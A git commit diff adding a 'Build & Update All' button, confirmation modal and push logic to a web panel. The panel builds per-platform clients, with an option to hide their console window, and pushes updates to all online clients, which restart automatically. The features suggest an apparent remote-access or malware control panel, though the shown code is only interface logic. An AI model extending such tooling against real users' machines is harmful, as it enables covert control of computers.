new build and update command

This commit is contained in:
KingKDot
2026-03-29 13:39:51 -05:00
parent 47593a917f
commit ecf84d8a27
12 changed files with 464 additions and 14 deletions
+159
View File
@@ -666,6 +666,10 @@ async function startBuild(config) {
buildBtn.disabled = true;
buildBtn.innerHTML =
'<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
if (buildUpdateAllBtn) {
buildUpdateAllBtn.disabled = true;
buildUpdateAllBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
}
buildStatus.classList.remove("hidden");
buildStatusText.textContent = "Starting build...";
@@ -712,11 +716,16 @@ async function startBuild(config) {
buildStatus.querySelector("div").className =
"flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
pendingUpdateAll = false;
} finally {
isBuilding = false;
buildBtn.disabled = false;
buildBtn.innerHTML =
'<i class="fa-solid fa-hammer"></i> <span>Start Build</span>';
if (buildUpdateAllBtn) {
buildUpdateAllBtn.disabled = false;
buildUpdateAllBtn.innerHTML = '<i class="fa-solid fa-arrow-up-from-bracket"></i> <span>Build & Update All</span>';
}
}
}
@@ -784,6 +793,12 @@ async function streamBuildOutput(buildId, config = {}) {
buildResults.classList.remove("hidden");
displayBuild(buildData);
// Auto-push update if "Build & Update All" was used
if (pendingUpdateAll) {
pendingUpdateAll = false;
await pushUpdateToAllClients(data.buildId, pendingUpdateHideWindow);
}
}
reader.cancel();
@@ -1219,3 +1234,147 @@ function showBuildFilesForContainer(build, containerId, timerId) {
setInterval(() => updateExpirationTimer(timerEl, build.expiresAt), 60000);
}
}
const buildUpdateAllBtn = document.getElementById("build-update-all-btn");
const updateAllModal = document.getElementById("update-all-modal");
const updateAllModalBody = document.getElementById("update-all-modal-body");
const updateAllCancel = document.getElementById("update-all-cancel");
const updateAllConfirm = document.getElementById("update-all-confirm");
let pendingUpdateAll = false;
let pendingUpdateHideWindow = false;
function showUpdateAllModal() {
if (!updateAllModal) return;
updateAllModal.classList.remove("hidden");
updateAllModal.classList.add("flex");
}
function hideUpdateAllModal() {
if (!updateAllModal) return;
updateAllModal.classList.remove("flex");
updateAllModal.classList.add("hidden");
if (updateAllConfirm) {
updateAllConfirm.innerHTML = '<i class="fa-solid fa-hammer mr-1"></i> Build & Update';
updateAllConfirm.disabled = false;
}
if (updateAllCancel) {
updateAllCancel.textContent = "Cancel";
}
}
if (updateAllCancel) {
updateAllCancel.addEventListener("click", hideUpdateAllModal);
}
if (updateAllModal) {
updateAllModal.addEventListener("click", (e) => {
if (e.target === updateAllModal) hideUpdateAllModal();
});
}
if (buildUpdateAllBtn) {
buildUpdateAllBtn.addEventListener("click", async () => {
if (isBuilding) return;
const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
const platforms = Array.from(platformCheckboxes).map((cb) => cb.value);
if (platforms.length === 0) {
alert("Please select at least one platform to build");
return;
}
showUpdateAllModal();
updateAllConfirm.disabled = true;
updateAllModalBody.innerHTML = '<p class="text-slate-400"><i class="fa-solid fa-spinner fa-spin mr-2"></i>Checking online clients...</p>';
try {
const res = await fetch("/api/build/update-eligible", {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({ platforms }),
});
if (!res.ok) {
const data = await res.json().catch(() => ({}));
updateAllModalBody.innerHTML = `<p class="text-red-400"><i class="fa-solid fa-circle-xmark mr-2"></i>${data.error || "Failed to check eligible clients"}</p>`;
return;
}
const data = await res.json();
let html = "";
html += `<p class="text-white"><i class="fa-solid fa-users mr-2 text-amber-400"></i><strong>${data.eligible}</strong> client(s) will receive the update after build.</p>`;
html += '<div class="mt-2 text-xs text-slate-400 space-y-1">';
html += `<p><i class="fa-solid fa-globe mr-1 text-blue-400"></i> ${data.totalOnline} total online client(s)</p>`;
if (data.skippedInMemory > 0) {
html += `<p><i class="fa-solid fa-memory mr-1 text-red-400"></i> ${data.skippedInMemory} client(s) will be skipped (running in-memory)</p>`;
}
if (data.skippedNoMatch > 0) {
html += `<p><i class="fa-solid fa-ban mr-1 text-slate-500"></i> ${data.skippedNoMatch} client(s) will be skipped (no matching platform)</p>`;
}
html += "</div>";
if (data.eligible === 0 && data.totalOnline === 0) {
html += '<p class="mt-3 text-xs text-slate-500">No clients are currently online. The build will still run but no updates will be sent.</p>';
}
html += '<p class="mt-3 text-xs text-amber-300/80"><i class="fa-solid fa-triangle-exclamation mr-1"></i>This will build the client and push the update to all eligible clients. Clients will restart automatically.</p>';
updateAllConfirm.disabled = false;
updateAllModalBody.innerHTML = html;
} catch (err) {
updateAllModalBody.innerHTML = `<p class="text-red-400"><i class="fa-solid fa-circle-xmark mr-2"></i>Error: ${err.message}</p>`;
}
});
}
if (updateAllConfirm) {
updateAllConfirm.addEventListener("click", () => {
hideUpdateAllModal();
pendingUpdateAll = true;
pendingUpdateHideWindow = !!form.querySelector('input[name="hide-console"]')?.checked;
form.requestSubmit();
});
}
async function pushUpdateToAllClients(buildId, hideWindow) {
addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info");
try {
const res = await fetch("/api/build/update-all", {
method: "POST",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({ buildId, hideWindow }),
});
const data = await res.json().catch(() => ({}));
if (!res.ok) {
addBuildOutput(`Update failed: ${data.error || "Unknown error"}\n`, "error");
return;
}
const succeeded = data.successCount || 0;
const total = data.totalOnline || 0;
const failed = (data.results || []).filter((r) => !r.ok);
const inMemoryCount = failed.filter((r) => r.reason === "in_memory").length;
const noMatchCount = failed.filter((r) => r.reason === "no_matching_build").length;
addBuildOutput(`Update sent to ${succeeded} of ${total} online client(s)\n`, "success");
if (inMemoryCount > 0) {
addBuildOutput(` ${inMemoryCount} client(s) skipped (running in-memory)\n`, "warn");
}
if (noMatchCount > 0) {
addBuildOutput(` ${noMatchCount} client(s) skipped (no matching build)\n`, "warn");
}
const otherFailed = failed.filter((r) => r.reason !== "in_memory" && r.reason !== "no_matching_build");
if (otherFailed.length > 0) {
addBuildOutput(` ${otherFailed.length} client(s) failed for other reasons\n`, "warn");
}
} catch (err) {
addBuildOutput(`Update error: ${err.message}\n`, "error");
}
}
+39 -5
View File
@@ -512,11 +512,19 @@
</div>
<!-- Build Button -->
<button type="submit" id="build-btn"
class="flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
<i class="fa-solid fa-hammer"></i>
<span>Start Build</span>
</button>
<div class="flex gap-2">
<button type="submit" id="build-btn"
class="flex-1 flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-blue-600 hover:bg-blue-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
<i class="fa-solid fa-hammer"></i>
<span>Start Build</span>
</button>
<button type="button" id="build-update-all-btn"
class="flex-1 flex items-center justify-center gap-2 px-4 py-3 rounded-lg bg-amber-600 hover:bg-amber-700 text-white font-medium transition-colors disabled:opacity-50 disabled:cursor-not-allowed">
<i class="fa-solid fa-arrow-up-from-bracket"></i>
<span>Build &amp; Update All</span>
</button>
</div>
</form>
</div>
@@ -550,6 +558,32 @@
</div>
</div>
</main>
<!-- Build & Update All Confirmation Modal -->
<div id="update-all-modal" class="fixed inset-0 z-50 hidden items-center justify-center bg-black/60 backdrop-blur-sm">
<div class="bg-slate-900 border border-slate-700 rounded-xl shadow-2xl max-w-md w-full mx-4 p-6">
<div class="flex items-center gap-3 mb-4">
<div class="w-10 h-10 rounded-full bg-amber-900/50 border border-amber-700 flex items-center justify-center">
<i class="fa-solid fa-arrow-up-from-bracket text-amber-400"></i>
</div>
<h3 class="text-lg font-semibold text-white">Build &amp; Update All Clients</h3>
</div>
<div id="update-all-modal-body" class="text-slate-300 text-sm mb-6 space-y-2">
<p>Checking eligible clients...</p>
</div>
<div class="flex items-center justify-end gap-3">
<button id="update-all-cancel" type="button"
class="px-4 py-2 rounded-lg border border-slate-600 text-slate-300 hover:bg-slate-800 transition-colors text-sm font-medium">
Cancel
</button>
<button id="update-all-confirm" type="button"
class="px-4 py-2 rounded-lg bg-amber-600 hover:bg-amber-700 text-white transition-colors text-sm font-medium disabled:opacity-50 disabled:cursor-not-allowed">
<i class="fa-solid fa-hammer mr-1"></i> Build &amp; Update
</button>
</div>
</div>
</div>
<script type="module" src="/assets/nav.js"></script>
<script type="module" src="/assets/build.js"></script>
</body>